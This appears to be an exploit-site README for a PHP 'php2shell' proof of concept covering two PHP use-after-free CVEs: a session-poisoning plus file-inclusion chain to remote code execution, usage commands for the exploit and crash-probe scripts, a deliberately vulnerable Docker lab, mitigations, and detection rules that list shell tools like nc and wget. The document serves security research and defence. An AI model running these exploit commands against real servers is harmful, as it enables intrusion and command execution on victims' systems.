Skip to content
Exploit for Improperly Controlled Sequential Memory Allocation in Php

Exploit for Improperly Controlled Sequential Memory Allocation in Php

Sploitus • October 22, 2026

Proof-of-concept exploit and isolated lab environment for two critical heap use-after-free vulnerabilities in PHP core, collectively known as **php2shell**.

| **Component** | `php_session_rfc1867_callback()` in `ext/session/session.c` | SAPI multipart form-data parser |

| **Bug class** | Heap use-after-free | Heap use-after-free |

| **Trigger** | Multipart POST with `PHP_SESSION_UPLOAD_PROGRESS` field | Any `multipart/form-data` POST |

**Affected versions:** PHP 5.4.0 through 8.5.11

**Patched versions:** 8.2.35, 8.3.36, 8.4.27, 8.5.12 (released 2026-10-21)

> **Legal disclaimer:** This repository is provided for authorized penetration testing, security research, and educational purposes only. Unauthorized access to computer systems is illegal. Users are responsible for complying with all applicable laws. See [LICENSE](LICENSE).

- [Technical Analysis](#technical-analysis)

- [Repository Structure](#repository-structure)

- [Testing Mitigations](#testing-mitigations)

- [Detection & Indicators](#detection--indicators)

On October 20, 2026, details of two critical PHP vulnerabilities leaked ahead of the coordinated disclosure window. The PHP security team released emergency patches the following day at 14:00 UTC. Researchers at watchTowr independently confirmed both vulnerabilities.

The bugs reside in PHP's session upload progress tracking mechanism and the underlying multipart parser. Because `session.upload_progress.enabled` defaults to `On` in PHP's stock configuration, every default PHP installation from version 5.4 onward exposes the attack surface — no application code needs to opt in.

A proof-of-concept tool named "PHP2Shell" was attributed to Calif.IO and leaked alongside the advisory. Sansec predicted mass exploitation within 15 minutes of the patch release.

### CVE-2026-109618 — Session Upload Progress UAF

PHP's [`session.upload_progress`]( feature tracks file upload progress by writing metadata to session files during multipart POST processing. The implementation in `php_session_rfc1867_callback()` stores raw `zval` pointers in live hash tables. Under specific conditions during request processing, these pointers become dangling when the underlying memory is freed but the hash table entry is not invalidated.

**Attack primitive:** An attacker sends a multipart POST containing a `PHP_SESSION_UPLOAD_PROGRESS` field. The field's value — which the attacker fully controls — is written into the session file at a predictable path (`/var/lib/php/sessions/sess_`). The session ID is supplied via cookie, and with `session.use_strict_mode = 0` (default), PHP accepts arbitrary values.

**Exploitation chain (session poisoning + LFI):**

┌──────────┐ POST multipart/form-data ┌──────────┐

│ Attacker │ ─────────────────────────────────────►│ PHP-FPM │

│ │ Cookie: PHPSESSID=attacker_sid │ │

│ │ Field: PHP_SESSION_UPLOAD_PROGRESS= │ │

│ │ │ │

└──────────┘ └─────┬────┘

┌──────────┐ GET /vuln.php?file= ┌────▼─────┐

│ Attacker │ ──────────────────────────────────────►│ PHP-FPM │

│ │ /var/lib/php/sessions/sess_attacker_sid│ │

│ │ &c=id │ │

│ │◄───────────────────────────────────────│ → RCE │

│ │ uid=33(www-data) ... │ │

└──────────┘ └──────────┘

### CVE-2026-109619 — Multipart Parser UAF

A second use-after-free exists in PHP's SAPI-level multipart parser, independent of the session upload progress feature. This bug triggers on any `multipart/form-data` POST and persists even when `session.upload_progress.enabled = Off`. The parser mishandles buffer ownership during part boundary processing, leading to a dangling pointer that can be leveraged for heap corruption.

| Requirement | Chain 1 (Session Poisoning) | Chain 2 (Raw UAF) |

| `upload_progress.enabled` | On (default) | Not required |

| LFI vulnerability | Required | Not required |

| `upload_progress.cleanup` | Off, or race condition | N/A |

| Complexity | Low | High (heap grooming) |

The Docker lab provides a deliberately vulnerable PHP environment:

| PHP | 8.4.26 | Last vulnerable release before 8.4.27 fix |

| nginx | Latest in repo | Reverse proxy to php-fpm |

| PHP-FPM | 8.4.26 | FastCGI process manager |

session.upload_progress.enabled = On # Attack surface (default: On)

session.upload_progress.cleanup = Off # Persist session data after upload

session.use_strict_mode = 0 # Accept arbitrary session IDs (default: 0)

session.use_only_cookies = 0 # Allow session ID from cookies

| `index.php` | Displays PHP version and session configuration |

| `upload.php` | Accepts multipart file uploads (injection target) |

| `view.php?file=` | Intentional LFI — includes any local file (trigger) |

| `debug.php` | Lists session files and their contents for debugging |

usage: php2shell.py [-h] -t TARGET [-c CMD | --shell | --check]

[--session-path PATH] [--inject-endpoint EP]

[--lfi-endpoint EP] [--race] [--threads N]

[--attempts N] [--proxy URL] [-o FILE] [-v] [-q]

python3 exploit/php2shell.py -t -c "cat /etc/passwd"

python3 exploit/php2shell.py -t --shell

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Linux abc123 6.8.0 #1 SMP x86_64 GNU/Linux

python3 exploit/php2shell.py -t \

--cmds "id" "whoami" "uname -a" "cat /etc/os-release"

python3 exploit/php2shell.py -t --cmd-file recon.txt

When `session.upload_progress.cleanup = On` (default), PHP deletes progress data from the session file immediately after the upload completes. The `--race` flag fires concurrent injection and LFI requests to read the session file before cleanup:

python3 exploit/php2shell.py -t \

--race --threads 20 --attempts 500 -c "id"

python3 exploit/php2shell.py -t --check

python3 exploit/php2shell.py -t --check --json

python3 exploit/php2shell.py -t -c "id" \

For targets where the LFI and upload endpoints differ from the lab defaults:

python3 exploit/php2shell.py -t \

`uaf_probe.py` sends malformed multipart payloads to detect the CVE-2026-109619 parser vulnerability. It does not achieve code execution — it identifies vulnerable targets through crash behavior.

python3 exploit/uaf_probe.py -t

python3 exploit/uaf_probe.py -t \

--variant nested longheader --repeat 5 -v

python3 exploit/uaf_probe.py -t

| `nested` | Double-close boundary — triggers cleanup on already-freed buffer |

| `longheader` | 8KB+ Content-Disposition/Content-Type — stresses allocation |

| `nullbyte` | Null bytes in body — corrupts C string length calculations |

| `truncated` | Missing closing boundary — unexpected EOF during part read |

| `interleaved` | Mixed boundaries from different containers — confuses state machine |

| `CRASH_LIKELY` | Connection reset or broken pipe — PHP worker probably segfaulted |

| `WORKER_DEAD` | HTTP 502/503 — nginx reports php-fpm worker died |

| `HANG_OR_CRASH` | Timeout — worker may be stuck or dead |

| `OK` | Normal response — this variant did not trigger a crash |

### Disable upload_progress (partial mitigation)

's/upload_progress.enabled = On/upload_progress.enabled = Off/' \

docker exec php2shell-lab killall -USR2 php-fpm8.4

python3 exploit/php2shell.py -t -c "id"

's/upload_progress.enabled = Off/upload_progress.enabled = On/' \

docker exec php2shell-lab killall -USR2 php-fpm8.4

> **Note:** Disabling `session.upload_progress` only blocks CVE-2026-109618. The multipart parser UAF (CVE-2026-109619) remains exploitable. Patching PHP is the only complete remediation.

's/use_strict_mode = 0/use_strict_mode = 1/' \

docker exec php2shell-lab killall -USR2 php-fpm8.4

This prevents the attacker from controlling the session filename but does not eliminate the vulnerability.

Alert when PHP worker processes spawn unexpected children:

# Parent processes: php-fpm, php-cgi, apache2, httpd

# Suspicious children: sh, bash, dash, python, perl, curl, wget, nc, ncat

auditctl -a always,exit -F arch=b64 -S execve -F ppid=$(pgrep -d, php-fpm) -k php2shell

- **PHP-FPM access logs:** POST requests with `PHP_SESSION_UPLOAD_PROGRESS` in the body, especially to endpoints that don't normally handle uploads

- **nginx access logs:** Sequential POST then GET to different endpoints with the same session cookie

- **Session directory:** Files containing `<?php` tags in `/var/lib/php/sessions/` or the configured `session.save_path`

SecRule ARGS:PHP_SESSION_UPLOAD_PROGRESS "@contains <?php" \

"id:2026109618,phase:2,deny,status:403,msg:'php2shell attempt'"

- [Sansec — Critical PHP RCE: php2shell](

- [watchTowr — PHP RCE FAQ](

- [Huntress — php2shell Analysis](

- [Lilting — Session Upload Progress UAF](

- [Aikido — Critical PHP Vulnerabilities](

- [Phoenix Security — PHP Core RCE](

- [PHP Manual — Session Upload Progress](

- [Wikipedia — PHP2Shell](

Extracted Entities

CWE Weaknesses (1)

Domains (1)

Platforms (2)

Tools (2)